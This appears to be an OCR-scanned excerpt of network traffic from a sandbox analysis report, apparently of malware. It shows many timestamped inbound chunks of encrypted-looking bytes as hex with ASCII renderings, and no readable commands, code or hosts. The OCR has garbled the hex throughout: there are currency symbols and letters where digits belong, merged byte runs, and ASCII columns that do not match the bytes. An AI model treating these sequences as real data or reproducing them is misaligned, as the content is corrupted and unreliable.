2021-10-13 13:47:09 UTC 54 IN Data Raw: 9a f6 b5 f9 3c 04 69 12 f5 bb ba 26 9¢ bb 6b 67 73 6b ab be el 32 ¢8 f1 52 8a 2d cf 60 94 70 38 cO ce 78 bl 3a
36 08 8a b2 2f 09 8b 62 53 4c a9 ef 80 44 c9 de a7 4b 80 5c 6d 59 el f1 f9 ed aa 2e Oe 17 65 cd 9a 08 fe 3d 2e b9 f3 f9 b7
41 89 7ffc db 9d 77 ¢5 06 5f 07 c4 13 Oa ec cf d0 95 04 16 37 8e 9a db 89 ea 99 f3 31 el 05 33 89 29 9c 76 cd fa b5 1f 85
76 71 f4 ae 2f 53 37 b2 f9 49 e3 61 d5 fe 31 7b 95 6a dd 06 Oc 43 3c 8b 13 67 a6 56 2f Ob 4f c7 d8 4f 88 55 68 aa 74 17 b6
1c af e4 73 52 60 c2 9e 7a 4f e2 92 38 99 23 e3 b6 5e 93 e6 28 1d ec 01 3d d3 e3 2e a5 4b 6e 58 5b 30 0d a8 3d c6 a5 68
90 93 f8 7d 44 c7 35 af 94 16 0f 85 19 8b 06 85 d2 28 f2 03 79 51 ea 65 5b 7a 74 de b3 de 12 2e 63 0f Oc 3f 50 2b 50 30
2e c8 41 99 b5 2e 02 db cf 4e 89 9e e6 64 7b
Data Ascii: <i&kgsk2R-'p8x:6/bSLDK\mY.e=.Aw_713)vvg/S71al{jC<gV/OOUhtsR zO8#"(=.KnX[0=h}D5(yQe|[zt.c?
P+P0.A.Nd{

2021-10-13 13:47:09 UTC 55 IN Data Raw: 94 84 e8 e0 37 e0 d9 Of ac 52 a3 c0 7f ed 20 44 29 a8 ec af 9d c1 26 02 60 fd 2b 82 f2 b9 38 ba 53 d0 28 2f a4
87 b0 05 40 09 cb 87 71 55 c5 c1 7d 97 bc 34 24 5f 82 8b e4 ¢8 7f 78 3c 6b dd 97 73 1a 29 54 8f Ob 32 66 b0 2e dd 64 8b
a3 dlf2f3ale3c80e 9098 70db4b a9 d2 57 f4 b3 2c 04 b0 2a 87 42 b7 f3 aa 51 48 6e f4 f2 c2 ae 04 00 2d bc a6 f1 38
48 01 b1 ff 9f d1 a2 f8 91 c6 85 87 el 44 39 ba c2 b6 d7 9d cd cf b6 ae 22 b8 11 9b 44 1b 35 Oc 3f 4a 3d 42 b4 6e c9 5e 85
96 €6 6a d7 3c e4 fa 1d 1a c2 1f 69 eb ab 65 94 21 1b 73 38 c0 be 5d a6 11 Oc ef 5b a6 00 5d 7d 5d d7 81 21 c6 58 21 ae
9e 9d 5¢ c9 e2 cf bl f3 5b 02 58 6b 58 68 €7 7e 61 53 85 a3 €9 e4 ba f8 2¢ 00 78 b4 78 bf e3 24 37 f0 de 15 72 29 69 fc cd
a9 3b 6 5f 08 cb a3 df 06 53 84 96 56 8d ac
Data Ascii: 7R D)& +8S(/@qU}4$_x<ks)T2f.dpKW,*BQHN-8HD9"D5?J=Bn"j<ie!s8][J}]'X\[XkXh~aS,xx$7r)i;_SV

2021-10-13 13:47:09 UTC 56 IN Data Raw: 57 e4 b9 13 78 ea b3 55 b2 b1 72 3e 42 78 db 7d el 13 28 97 88 2f 34 a6 43 ac 4a 8b 6 dd c5 5a 4b c9 1e ed
37 5b e3 bc 98 86 96 26 47 76 ba ba 5a 4f 32 e0 Oe 64 b2 fc aa bd 6d cc d2 d9 7d 3f f9 09 95 b1 6a 21 c2 10 40 83 94 73
Oe b7 6e 67 d8 61 eb 09 f0 58 83 71 d0 8b cO bf 35 73 f7 1e 35 1c c1 6e 33 fc 16 bf 88 fd 5e 28 ba cc 58 12 Oc 94 d0 b8 43
12 7a b0 ef 9f b2 43 f1 €8 83 fb 07 b5 8c b3 2¢ 46 45 2e 67 03 33 18 6f dd 86 58 68 bf 62 41 6f f9 94 c1 dc bc 22 a2 11 d9
8d 90 d5 c8 1d 5f c4 12 ed 76 4e 4d 5f a5 b3 08 58 4e 28 ca 53 f3 9b fc 83 50 51 cd 43 f9 28 d6 5b f2 d1 32 43 f3 8b a8 01
0f 41 c4 28 42 2f 4d 53 c8 17 b1 2f fad3 ec e1 83 1b 43 72 9a 67 e7 19 f4 ac d5 c1 c0 57 a8 28 bb 31 f2 af a6 cf 85 41 67
3e 4c f3 84 a4 6b c4 9f ce 5a 33 f2 1c 33 27
Data Ascii: WxUr>Bx}(/4CJIZK7[&GvZO2dm}?j!@sngaXq5s5n3"(XCzC,FE.g3oXhbAo"_vNM_XN(SPQC([2CA(B/MS/CrgW(
1Ag>LkZ33'

2021-10-13 13:47:09 UTC 57 IN Data Raw: 2d 7b 43 79 Oe 8f 17 6b 05 6¢ 51 Oa bf 76 f9 fd Ob ab 78 d7 89 c8 ef d0 a7 b1 90 95 e2 b5 ¢3 55 a0 09 b3 4a a9
32 5e 19 d7 35 cf ae 7f 8a 11 67 ee 8c d7 3c 41 93 8f 75 41 c7 75 2e 71 bc 32 9¢c 39 43 Oa 6¢ f5 87 c2 05 08 6a 2f el 58
bc 68 1ac2 2c el cf 84 a9 78 b9 64 aa db 09 8b 72 57 e5 a5 2 03 ff db 77 0d 84 70 b8 69 9f 9f 46 65 2e bb 76 d1 2a la
9b 46 ba 39 51 25 66 50 30 29 c4 ad 8 46 37 bb 9d 04 Ob a7 8d 3d 4d el 05 77 08 91 c8 fd 4b 5e 51 16 31 1c 71 1d 6a 6f
81 1f b2 83 7a 23 55 60 4d e5 fd aa cf 8f 2d 81 16 4f 57 dd 6f 2b 13 8b 31 25 b9 89 48 37 99 80 d7 74 9c 89 al ab 3b bd
12 60 db 54 7a 4f ea c0 bc a6 e3 66 19 3b 0b 4c 77 11 f3 ca 47 5a 68 cb 7b 4c e8 ec 92 d3 b0 57 ad 47 49 b8 1b 15 5c 22
cf9a 53 f8 cd e9 6¢c 12 ca 76 74 01 17 ab 36 1f aa e0
Data Ascii: -{CyklQvxUJ2"5g<AuAu.q29Clj/Xh,xdrWwpiFe.v*F9Q%fP0)F7=MwK"Q1gjoz#U M-OWo+1%H7t; TzOf,LWwG
Zh{LWGI\"SIvt6

2021-10-13 13:47:09 UTC 59 IN Data Raw: 4f 53 1d d8 d0 00 c3 9e b3 8e 52 6¢ 81 d0 5¢ 76 c0 8a 37 c¢7 57 5f cd de 54 fc 00 86 8e 92 al 1a b8 cb b8 82 f0
bf 66 c5 9e 62 52 5¢c 9a 98 fd 23 80 2d 43 5b 28 Ob cb 01 e7 29 20 55 24 33 fc c4 bb 16 e4 df 2c d6 e8 21 01 b9 ¢6 c7 6d
58 3f a0 ac 2a 5e 50 48 5c da f8 05 2a cb 2a b8 a0 fc 09 31 a5 1f fe ab 64 87 81 ec c2 d4 d1 el 7d 5c 66 cb 7a 51 1e 5d
e3 3f a2 a4 40 5b 10 5f 9b f4 b1 1b aa e4 51 f4 0d 44 al fc d3 15 c3 03 2a 2b 7a Oe 45 a4 41 4d 3a 5b 5¢ 75 48 2a 15 ed
2f 7d 31 6¢ 29 87 60 9a 57 f3 98 b6 d7 49 63 17 2f 7d cf 47 9f 3c b4 Ob aa 6d f4 b2 7c 4c 59 f6 cb 0d Oe 99 7b b4 7c 4b e8
ad 38 9e d9 14 63 62 2d fb 10 el 3b ae d1 c8 a3 a0 59 84 cf 7c ab 87 1a 28 64 5c d3 3f 2d e0 a5 de d2 d9 51 7b ba a3 bd
c8 d4 5e 02 58 33 89 7a f0 78 60 27 bc 76 34 03 Of
Data Ascii: OSRIW7W_TfbRW#-C[() U$3,!mX?* PH\**1d}\fzQ]?@[_QD*+zEAM:[\uH*/}1I)° WIc/}G<m|LY{|K8cbh-;Y|(d\?-Q{*X
3zx’'v4

2021-10-13 13:47:09 UTC 60 IN Data Raw: 80 02 5f dd 75 b5 7a 85 d2 28 48 07 fc 85 1a 53 d9 07 7c 5d b9 dc 91 5¢ 53 07 79 27 d3 d5 96 10 5a d5 2d 4f
42 2e 02 d1 c1 69 4e 17 ba dc 7b 56 e8 9a 90 ff 68 d5 fd 36 56 90 53 36 78 5f 25 37 21 54 99 f6 09 6¢ 25 d3 05 cb 02 40
26 2d 76 b4 53 82 e3 3d 64 a4 ed 3e b9 38 7f 1f b6 ad ab 07 38 6e f6 3a 27 07 3f e7 ef bf Oe f1 68 35 48 91 69 91 09 45 le
bc ea 85 20 82 62 12 bf 35 98 eb a6 8f 1b c3 c3 41 c9 0a 61 e7 b4 34 d7 45 1f 11 83 71 a9 20 c3 9e fa 7b 6a 87 b4 6e ec
9 28 83 91 6f el de 5b f6 76 ad ee 31 ¢7 27 fb 29 f3 00 cb 4a 25 9¢ d7 9c 83 d9 20 21 c8 9b 59 a8 53 d5 3a 7b €8 1d b7
a7 a0 e5 fb 86 a5 0f 2a ad cd 84 71 d3 07 ac a2 c8 fc 1a 40 51 cd 9d 8e 03 4e 5b f2 Of 8e 9f 39 d9 25 84 e3 1b 49 bf el 77
a5 la 4e 45 59 70 fb 9b 2b 30 aa f7 af 22 cd 8f 96
Data Ascii: _uz(HS[]\Sy'Z-OB.iN{Vh6VS6x_%7!TI%@&-vS=d>88n:"?hSHIE b5Aa4Eq {jn(0[v1)3% !YS:{*q@QN[9%
IWNEYp+0"

2021-10-13 13:47:09 UTC 61 IN Data Raw: 50 Oe d4 Of 96 0f 87 14 2a 02 23 6f 5¢c Of 76 58 88 bc b8 95 80 13 aa 39 al 8f 98 8d f5 1e 8d ea c5 68 a0 e6 06
c9 e5 3f ba 97 a4 4f 3b e3 8b 85 ¢6 77 78 50 cc 03 45 aa a3 33 34 82 67 €8 54 26 5e 8b 0d 36 c7 24 b4 67 f6 ad a6 ea 01
69 cb 10 f2 11 Oe 33 97 41 1e 51 1c 77 52 8a 81 4d 5b fa e5 3c be f5 93 60 92 6¢ ef 46 a6 d0 f6 00 8d 64 e7 be 17 7e 80
d5 6e ea e0 08 f8 6¢ 09 8b 78 16 b5 06 86 19 9b 86 19 9d 62 c2 1f bc ea 95 6a c0 41 89 9e 58 f2 14 13 3a a9 ca 57 ff 45
b0 b2 ec b6 17 87 d2 4d 38 5a 2a c7 e2 71 b6 4f 6a 8b c4 46 69 cc 97 49 Oe e8 92 10 78 8e 61 51 2d 52 37 ac 4d b6 1c 88
2fbc 33 ¢6 72 b9 88 75 88 6¢ b6 05 b7 e0 e3 d2 f4 ec 13 50 27 el 54 28 6¢ 2a 8b e8 8¢ d6 7c 09 ¢9 15 77 02 b0 2a 19 81
8e 3b 95 23 68 6b 6¢ 6e 73 d7 c4 2e b5 ff 51 1c 7f 74
Data Ascii: P*#0\vX9h?0;wxPE34gT&"6$gi3AQWRM[<’IFd~nIxbjAX:WEM8Z*qOjFilxaQ-R7M/3rulP'T(I*|w*;#hkIns.Qt

2021-10-13 13:47:09 UTC 63 IN Data Raw: d7 bl ac b5 9c a0 2b 2f e2 29 72 f0 67 b1 48 47 a8 4c 99 cb dc ff b9 28 ba 65 af dc Of d3 1f df 3f 38 cf e2 7c d8
21 b6 3b 5a 33 2f d4 ba 7f 0a eb a9 79 f7 98 57 b5 1b 48 d1 20 9a 7b 1b 6d a4 19 97 d3 5b 82 f0 3c a2 0d 6e f2 61 9c 4a
4e 08 fd 87 e5 9b 44 81 7a da 6e 18 a0 75 fe 24 9b 32 45 21 58 e3 4c 67 a4 ed f1 77 27 d8 ¢3 07 71 03 c5 83 f9 1f a2 bd
19 5b Oe 8e a0 76 d1 69 05 c4 3f a0 08 e2 29 43 6d cf f4 e0 c2 d4 d5 Oe 8a 42 5d 10 17 5d 5d a2 1c e4 17 {3 0d 9f 14 5f
5b b3 db 42 27 71 fO 5a 1a 53 4a 55 c4 7b c8 80 ee b8 3d 21 f2 b8 71 f4 6b 69 3b 75 fb 3c a7 81 ¢3 95 a4 57 93 a4 30 44
fa df 75 3 36 4b d6 71 62 28 a3 38 ae €8 59 c7 fb 11 34 e3 de 06 8c ce al 79 7a bb 31 79 e4 1b 8d cc 05 75 8e 19 dd Of
2d 20 d6 9f 92 bb 44 a9 c4 9b 2f 3e 86 31 f6 cc bc
Data Ascii: +/)rgHGL(e?8!;Z3/yWH {m[<naJNDznu$2E!XLgw'q[vi?)CmB]]]_[B'qZSJIU{=!gki;u<WO0Du6Kqgb(8Y4yz1lyu- D/>1

2021-10-13 13:47:09 UTC 64 IN Data Raw: 1f 80 bd 9b 01 ae 27 f3 €9 02 f9 b3 c6 3c 31 22 32 92 33 19 57 04 3e f7 b5 97 25 34 39 44 c7 Oe 47 {8 a8 5f d2
7a 2a 27 8e d2 ab b5 db ec 0f 5e 35 ce 61 ff €6 c7 b5 81 de 59 67 30 27 d3 07 b8 d8 6¢ 64 a9 bl c1 ea Oa d1 c2 b9 4e 6¢
6¢c a3 2d 46 65 9f 86 9f 68 da 29 23 84 13 97 b1 83 b3 50 27 28 f1 29 a6 82 aa 57 6e 48 54 d7 1b 73 c1 24 61 7d e5 Ob f1
1a 97 12 b5 f7 4a ¢3 56 2b 7f 85 73 92 14 a4 82 13 3b 13 18 9b 0d 1e 94 cf b2 4a 12 20 18 43 39 d9 43 09 c6 61 65 52 2b
41 caea2l d4 43 24 67 1a 29 cb d5 fe c3 04 7f c4 3b 70 e5 9e f4 69 7c 74 d2 ac 2¢ 59 3d 5 5d 55 98 93 Oa be ba 38 c8
6a a5 50 70 88 3b 46 d2 fa 2a 54 d7 86 bb b9 e9 6d 6f 56 df 11 f4 41 1a 18 ab 08 12 31 7f Of 58 5b c6 ca 84 76 04 4c af c9
e385d5 71 50 e5 52 5d 37 57 e2 f0 51 0a 95 c5 9d
Data Ascii: '<1"23W>%49DG_z*5aYg0'ldNII-Feh)#P'()\WnHTs$a}JV+s;J C9CaeR+A!C$Q);pilt,Y=]U8jPp;F*TmoV
ALX[VLgPR]7WQ
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kBytes
Timestamp transferred Direction Data

2021-10-13 13:47:09 UTC 65 IN Data Raw: 21 73 da 96 20 81 Ob f1 93 ca al b3 02 59 99 65 89 fa df c9 5e b1 53 df 75 71 48 4c 73 4d 61 44 08 55 b0 00
a5 cl f0 04 5b a0 2c 7f 87 7e 36 f8 2c 00 78 b0 a2 c7 ed aa 39 f1 80 9e fd 70 27 b0 6a f5 23 a3 85 69 09 6e 4a 31 05 6¢ d7
Ob bf 76 79 f9 77 78 50 €5 70 45 aa ab b2 30 b7 39 e3 89 2b 6d fe 67 09 1c 41 49 2e 09 52 76 7f 95 92 4c 91 4b 10 ba a3
44 17 16 3d 2d 13 ad cc 22 27 7b 77 f3 fc 47 6¢ e5 3e 84 6¢ ef dd de 2f 09 31 22 68 1a 41 6b 39 40 af dc 3d a9 d2 01 ae ce
f3 64 ce 77 ad 2c 6d 4e 4e 46 ef 6a 95 3d 4d d3 af 12 cb 42 49 a4 3c 97 78 c6 c5 56 be 42 a2 79 58 eb 71 al e5 b2 16 5d
e524c578e2 71 b6 30fl 867451 0f 4f81 0d a0 e5 6b 9d 7a f2 al f2 Ob 16 89 23 f9 fd €3 Ob 52 f4 b8 3e 21 01 b7 7e 6a
cabb 43 dd 6b f1 00 97 b9 fa ad d8 9d 1b bl 6b
Data Ascii: !s Ye"SugHLsMaDU[,~6,x9p'j#inJ1lvywxPpE09+mgAl.RvLKD=-"{wGI>I/1"hAk9@=dw,mNNFj=MBI<xVBy
Xq]$xq0tQOkz#R>!~jCkk

2021-10-13 13:47:09 UTC 66 IN Data Raw: 57 29 c2 b7 bc 2a 41 51 cb c7 3e f0 2a 37 4a a4 73 91 d6 fb f4 c9 84 f2 8e 01 5a 57 cb 6b 14 92 18 59 a2 b7 3f
4e 35 18 3f 62 29 44 36 0f d2 86 7b 37 a0 d4 6b fb €8 ad 39 44 1f b4 be cd 2d a9 10 e5 Ob al d8 7b Oa b8 fb b8 26 c7 3e
8703 al82f5eed799c260 7151 1d 6b d5 14 dd 3f cb 59 d7 5a a7 c3 f4 6f 87 1a 47 50 85 d7 87 al 35 8 2c d3 31 2d
a4 80 13 55 6b 7c 5b cc e4 d2 1b 22 fd 8e 94 6 Oe 08 d2 3d c1 c6 ac d5 2c 63 Oe 76 7a ba e3 Oe 83 57 b4 6e 27 bb 7 3¢
dd 39 38 8a d3 69 48 35 84 cf 71 4f 65 f6 02 1d 55 3b f4 cf 60 80 36 18 28 a9 10 f6 68 28 13 ad f6 ba 37 40 8f 07 €3 29 75
el a7 9b c7 8 7 00 2f 5b 4d 8d 30 e7 be 17 fd ac 8d fa 29 ef e6 23 e0 8¢ 52 Oc 6¢ 12 91 79 b6 64 9d 15 67 9d 3d 6b 4d 4c
b4 12 cb 2b 6 79 e7 26 6f 88 3a 3¢ 35 56 68 96
Data Ascii: W)*AQ>*7JsZWkY ?N5?b)D6{7k9D-{&>"qQk?YZoGP5,1-Uk|["=,cvzZWn'<98iH5q0eU; 6(h(7@)u/[MO)#Rlyd
g=kML+y&0:<5Vh

2021-10-13 13:47:09 UTC 67 IN Data Raw: d1 f5 b4 82 08 cc 47 06 28 38 b8 12 ba b0 20 bd 7c ab 39 59 72 4b d3 ea 2e 2a a6 88 cb b5 2a 4f 84 0b 3e 57
fc 9d 10 3d 19 20 2e 10 8e b5 c6 fe 12 7c fc Oc 15 3c ea 3e aa 4d 3a 06 dd 01 1d 7a 2a e0 5e 40 a4 f4 20 08 48 85 51 9e
46 f9 76 a4 5b f2 df a2 53 ae 87 7e Oc c6 16 07 8a cf 4f b9 f8 7c 34 bc 40 dO 26 7e ed cb 33 af 72 9e 67 e7 2a 6f 74 05 ce
f8 85 ¢2 d3 1d cc f2 ec 91 7a 4e c8 22 f8 b1 8a 28 ae 16 0a 62 bd e2 ba e7 47 7 6a 86 65 4e fc 29 11 99 58 19 58 3f f8 b5
91828 1c c2 3a 7c cd c7 06 36 23 d7 57 25 17 a2 43 48 68 a2 b9 d6 31 fc a4 ab 50 77 55 40 13 24 e7 cc 44 c7 ce 3d 5a
8e 2f a4 de 68 92 6e b0 cb 07 20 d8 36 46 40 1c 50 e5 b9 97 7d 8e 9b cc da e6 53 07 5b 66 7e da 41 55 65 Oc f4 b0 cc 9d
5f 99 74 d7 16 20 76 24 63 5f €3 90 a2 3 24 5b 10
Data Ascii: G(8 |9YrK.**O>W= .|<>M:z**@ HQFV[S~0|4@&~3rg*otzN"(bGjeN)XX?(:|6#W%CHh1PwU@$D=Z/hn 6F@P}
S[f~AUe_t v$c_9[

2021-10-13 13:47:09 UTC 68 IN Data Raw: 10 35 f1 77 17 77 91 03 b7 d3 f5 73 c0 98 25 b7 aa cc 10 fa 9 a2 e4 9c ba ee 11 8e c2 ce 25 0d 3d c0 c1 30
02 b4 0f 34 8a 7d e2 8e 61 fc 80 d7 56 8e 78 ca 1b f4 9f eb 33 63 35 0f 17 5e Oc b5 32 ad 4b 94 59 46 Ob 7b c4 e8 c0 95
92 ad 64 84 25 9a 49 89 05 92 c9 b8 df 05 0a 9a b2 96 fb 1f 51 3b 68 ab c8 1e 09 80 b3 44 16 52 ff 1c 7b 2e Oa e2 47 d2
ed b0 20 13 39 f0 c0 44 4b 6f b1 1f 4c ba f2 3d 88 88 32 e2 ed 3d 31 52 2c 28 9a a9 01 72 c0 34 f7 71 de c7 96 a2 93 bd
7128 aa 5e 54 17 cf a5 8b cf 38 ¢7 2e fd ad 40 a5 70 bd 3e 28 48 84 82 67 bc 5a ed 98 87 23 a9 c0 35 3¢ 93 33 db c7 5a
5c bf 53 09 ef 68 23 6f fe d6 1b ab eb 88 c8 d2 e7 24 b7 20 96 12 c1 b4 52 4a 92 55 09 d1 3c 39 fb 09 82 e5 27 13 18 23
89 66 1b 89 3 48 cO 69 89 33 48 1e bc d2 44 f4 7a 25 3f
Data Ascii: 5wws%%=04}aVx3c5"2KYF{d%IQ;hDR{.G 9DKoL=2=1R,(r4qq("T8.@p>(HgZ#5<3Z\Sh#0$ RIU<9'#fHi3HDz
%?

2021-10-13 13:47:09 UTC 70 IN Data Raw: 28 67 46 38 e4 13 8d 1c 39 4a 9d 07 16 e4 3a e3 6a 4c b5 ac Oc ad 5e 1a 90 50 aa 3b cb cc 23 29 68 ee 93 45
93 cf df fc 51 18 €9 24 da 7f ef 2f 74 84 7d 2d 87 cf 4e 7b 06 ad 5e cf 62 93 94 66 38 b2 €3 03 fa 9d 4e be 63 78 b6 2e 01
99 f7 8¢ 5 5e 46 7b d0 a7 b6 17 fc 81 fa eb 5¢ 61 ef b9 ec 7f da e4 01 05 e4 85 0f 4e 92 d3 b8 b3 89 a7 4d 2a €2 54 75 c9
2a 26 1a 41 1e 99 18 cl a7 2c cf 2b a5 55 08 d4 b6 9c 0f 87 12 20 3f c4 94 a3 7b 7b €8 87 ed 50 40 e0 ec aa b4 a4 32 47
f0 89 46 72 15 14 ff e6 0d 45 Of 68 7a d5 03 09 49 52 44 89 85 68 cf a0 1a af c2 c6 6e 24 7a a8 98 d5 48 20 3c 51 a0 e9
96 4a a9 3c 1f e5 a9 0a 44 d9 a2 27 fc bb 11 19 54 92 55 41 84 12 {6 fO b6 ad bc 32 6a 42 97 f6 15 39 b9 2e 6¢ 8¢ 7d 66
78 826 00 02 1a 2b e9 ab 13 21 1f b4 10 73 df a9
Data Ascii: (QF89J:jL"P;#)hEQ$/t}-N{"bf8Ncx."F{\aNM*Tu*&A,+U ?{{P@2GFrEhzIRDhn$zH <QJ<D'TUA2jB9.I}{x+!s

2021-10-13 13:47:09 UTC 71 IN Data Raw: 48 91 Oc b4 ed 45 1e c0 44 9b 2e 34 6f c1 bf 35 15 25 01 95 b9 ff 1a 89 9a 93 f2 7b 7f 7f be be 96 d5 9f a4 3b
€7 42 b0 fa 7b el 69 9b 35 dc dd 12 6b 02 f2 b1 8d 38 61 €9 fc ed 72 55 ba f4 67 bd 85 0b d6 30 df 6d 6f 85 dd 40 7b 1f 65
5c 4354 12 27 f4 2d 40 74 8 94 de b6 98 82 ba fa 20 e7 ca 4d Oe e0 e4 98 fd d6 30 69 38 4d d4 c0 36 85 b7 71 b0 56 10
a7 5250 8b 10 80 93 40 11 7b a5 1a 4b 71 76 e9 ee 96 21 a0 62 60 43 41 41 ee a2 ca 26 62 84 10 8e 8¢ 21 e8 a4 cc f2 cf
91 7a 6b c8 22 d5 b0 8a 0d cf 90 5e eb f8 bb 4e b6 12 ba 27 67 f8 ¢8 3d 55 98 dc ba 1d 50 21 20 9a 7b 1b 6d 98 4b 6 d3
b0 e8 f0 36 3b d5 b8 f1 ae d7 4c dd 87 a0 c9 7c 3e 42 2e fa 64 77 5d 50 fc dO 86 33 ec 28 ba 80 9c al fd d1 f4 2a bf 8c 3b
86 17 fa 00 ab 14 ef b4 fe el 8d f6 a0 84 67 33
Data Ascii: HED.405%f{;B{i5k8arUg0mo@{e\CT'-@t M0i8M6qVRP@{Kqv!b' CAA&b!ZK"AN'g=UP! {mK6;L|>B.dw]P3(*;g3

2021-10-13 13:47:09 UTC 72 IN Data Raw: 08 68 1b 41 e8 fd 1b 97 de cc b2 4f 36 6d 63 8f 7c cd 85 a8 2e Oe 5f 8b 32 65 08 c2 e6 28 4d e5 ed 34 10 da 1c
34 e591 77 96 db a0 0f 57 ec a7 €9 70 al b8 f1 €9 a2 3e 49 5a 35 1d 8e 6e 1d 09 86 2c 4d 69 47 bb 63 d3 f4 e7 d4 91 e4
96 57 80 fb 8d 34 54 ca 27 33 6e 68 b7 bb 8f 82 73 7a 5¢ ¢8 f2 fd 3a 26 5a 07 f4 2f 7f ¢7 27 93 4a 11 ca 28 8b 45 8c a2 28
ee f2 fe 0d 93 ed ff 3 69 04 9c le 76 1f 6d 72 bf de d7 9f 38 2d 06 2d 1b 4a 53 f4 c9 31 94 2f €5 57 Oc 3a 2e 6e 2f 7f 5¢ 20
bb 15 d4 el ca 9f 1a 22 7a ec 87 ef d3 fb c9 ce 77 df 62 ca 00 8c 3a e6 ad c2 c3 ac 07 84 35 db 58 00 d4 5a 58 8b 20 f4 b6
d1 d0 d1 7b 6d ce 23 3e 5¢ 52 dd a5 09 65 81 28 8b 2 91 a6 c2 03 3e 43 87 75 6b f4 39 Oc fa f7 10 a4 b1l 88 42 ee e 26
2d 26 60 c5 ¢8 18 cd 1f eb 29 1a 32 1f bc
Data Ascii: hAO6mc|._2e(M44wWp>1Z5n,MiGcWA4T'3nhsz\:&Z/' I(E(ivmr8--JS1/W:.n/\ “zwh:5XZX {m#>\Re(>Cuk9B&-& )2

2021-10-13 13:47:09 UTC 73 IN Data Raw: 99 af 2d bb 43 60 6b a7 b5 1f 7d 03 1f ce da f1 1a 8e 0a 8e aa 89 29 ab e7 ¢8 f0 6d d5 55 a5 99 74 d7 15 10 17
77 6d 5d e3 e2 cf 83 73 a4 ef 82 3f 3e 20 4a 27 f2 65 1d 71 43 e5 a5 b9 42 {7 fc d5 fb €9 2d 09 2e b9 75 83 60 c1 8d 79 2d
82 10 5d aa 4c 14 ae 85 cf 32 ef ea ed 23 d7 c2 f9 94 81 78 c¢7 3¢ 93 8 c0 bl ef b6 54 f6 07 c1 c9 10 c9 67 Of 46 63 44 al
b6 17 ff 3f 98 b1 b4 5¢ 48 2d a9 18 f9 98 3a aa a5 5a 52 22 f9 4c b8 b3 87 25 29 03 87 c1 37 99 79 4d 2c c2 1d 59 c3 b4
al 04 3c 51 a5 76 11 b1 46 de 5e 6f af 3f 7a 28 e2 09 44 75 50 84 bf ea aa 97 3e 39 39 f1 5d d1 14 eb e4 72 95 a8 3b 82
29 d2 b7 f4 ac 39 53 07 00 ba 82 76 7e 39 27 5d af f8 2a 44 39 20 {7 6¢ 56 bf 3f d4 ¢3 03 1f 37 el 69 39 b1 9a 8a 96 €5 ed
61 de c9 12 f2 bd b0 5e dO c1 15 da 99 fb 40
Data Ascii: -C k})mUtwm]s?> J'eqCB-.u’y-]L2#x<TgFcD?\H-:ZR"L%)7yM,Y<QvF"0?z(DuP>99]r;)9Sv~9'*D9 IV?7i9a"@

2021-10-13 13:47:09 UTC 75 IN Data Raw: 78 fe 65 7d 5e ad a2 e0 68 60 73 31 03 a8 47 bd 80 54 73 51 00 fc 6a el €8 13 1b d0 41 88 11 81 f3 48 c6 b6
f4 Ob 2a el 43 d7 6b c9 e4 d7 c0 34 bb 11 74 8a 70 e7 fc 90 4a 9e 1c 32 0f 3b f4 a5 ff 4c 85 ce 1c 67 bf 47 12 77 2e ba 6¢
5b 7f 8e 35 d0 0d fb 6f b2 4d 30 e8 11 ac 68 ba 09 33 72 e2 f2 7d 5b b5 12 03 f8 90 6¢ 19 3e 24 cc 90 ad 12 df 5a 64 15
€890 e2 4f 98 12 a7 46 c9 50 23 b0 84 d5 b6 5e 78 50 29 f1 9f b3 8d da 8c 14 12 b4 0d 8b cb 09 9e 4c 73 f0 24 87 23 cO
95 3¢ 12 b8 74 f0 1e d6 e2 21 67 bf a2 23 2b 37 91 7d 14 77 e6 19 af ae 06 89 20 54 23 e8 77 ce 8c a7 96 3b 86 41 67 3d
c0 a5 e2aa 16 7c bb a9 d8 b6 2d 91 7e a2 09 bb 95 51 fb 16 dc ba 93 dd d8 f7 f8 71 71 6d 79 cd 7b 84 44 82 9a bf 31 7d
d9 c9 dd 5¢ 11 92 05 4f c9 29 ce 44 fb ff 3c fe 18 ca
Data Ascii: xe}*h's1GTsQjAH*Ck4tpJ2;LgGw.I[50MOh3r}[I>$ZdOFP#"xP)Ls$#<t!g#+7}w T#w;Ag=|-~Qqgmy{D1})\O)D<
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kBytes
Timestamp transferred Direction Data

2021-10-13 13:47:09 UTC 76 IN Data Raw: 9e cf be 5b 06 60 f3 56 41 76 6e 55 c1 bc 1f 7e 4d 7b 24 26 b1 04 16 84 41 e6 3a 07 60 d2 ad 41 43 62 68 70
41 bb ab cd 8e 75 c1 8f a8 5¢ 6d 8a 4f cd 10 d2 fb f0 a1 86 6¢ 8d 19 1d c6 6b d1 5b 98 6d c3 41 fd cO €9 00 9d 77 b1 78
b6 78 be 13 2c 93 a4 36 fc 04 62 7f 30 b3 4a cc 96 6d be 32 fd 05 c4 5b ea b3 dd 4b 2a a9 9a 45 68 7d c1 f0 c7 05 df cb
84 12 68 ee b6 6b e7 60 12 42 28 f1 €9 1e 74 f9 e3 7b 99 29 {7 1a 68 24 bd 29 9c e8 bf 3b f5 fb 1c 53 f9 6d 65 d9 48 05 d1
al 27 6f 06 9c 95 ae 6e ac c9 6¢ 73 7b 1e 32 74 52 51 1c d1 af Oa 76 cd e6 99 6¢ 59 19 39 5a c¢7 92 90 00 8e bb 38 d6 2a
9e e9 a0 2d 78 2c 1f 7a 2d 54 bf 9a 94 75 61 be 51 82 10 21 38 3f 18 d6 a7 fO 87 d8 5a d3 9c cf a5 25 cf 38 c7 66 ff ad 40
a5 22 9e 3e 28 13 50 ea 19 ee 5a ed 98 82 23 a9 a3
Data Ascii: [ VAVNU~M{$&A:" ACbhpAu\mOIk[mAwxx,6b0Im2[K*Eh}hk’B(t{)h$); SmeH'onIs{2tRQvIY9Z8*-x,z-TuaQ!8?
Z%8f@">(PZ#

2021-10-13 13:47:09 UTC 77 IN Data Raw: 19 af ed f2 c9 6f d2 9f 85 11 b5 fe 18 2d 38 5d 23 41 ec e8 63 3d f9 ac 2f a4 66 2f fe 9a b0 cb 6d 71 d8 e6 94 ec
b2 47 4c 5a 1e f0 03 32 €3 77 €5 30 2e a3 62 38 4a a2 e5 74 87 81 e8 cc 55 2d 34 el 20 2d 46 ae 2c b5 be 4e 87 e2 78
8e 5b 9d 97 27 a4 3e 07 f7 20 49 52 7a bb f3 21 bd 4c 02 03 2a c2 be 93 95 af 66 70 eb bf cd 01 3c f4 32 3f f3 10 81 15 d6
78 b3 09 93 01 3c b7 51 ca 99 94 eb 33 c1 54 b6 c6 bc b6 b9 95 97 2d 7b d1 9e f1 b4 05 85 4c f2 36 5¢ 49 82 ad 3b 43 al
